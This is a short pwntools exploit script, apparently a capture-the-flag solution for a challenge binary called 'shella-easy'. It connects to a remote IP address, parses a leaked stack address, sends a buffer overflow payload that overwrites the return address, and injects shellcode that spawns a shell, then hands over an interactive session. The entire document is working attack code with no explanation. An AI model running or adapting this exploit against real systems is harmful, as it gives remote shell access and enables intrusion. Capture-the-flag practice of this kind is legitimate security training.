from pwn import *

context.arch = 'i386'

e = ELF('./shella-easy')
r = remote("52.15.182.55", 12345)
r.recvuntil('a ')
s = int(r.recvuntil(' '), 16)
log.success(hex(s))

payload = ''
payload += p32(0xDEADBEEF) * ((0x48 - 0x8)//4 + 1)
payload += p32(s+(0x48+0x8)) * 3
payload += asm(shellcraft.sh())

r.sendline(payload)
r.interactive()
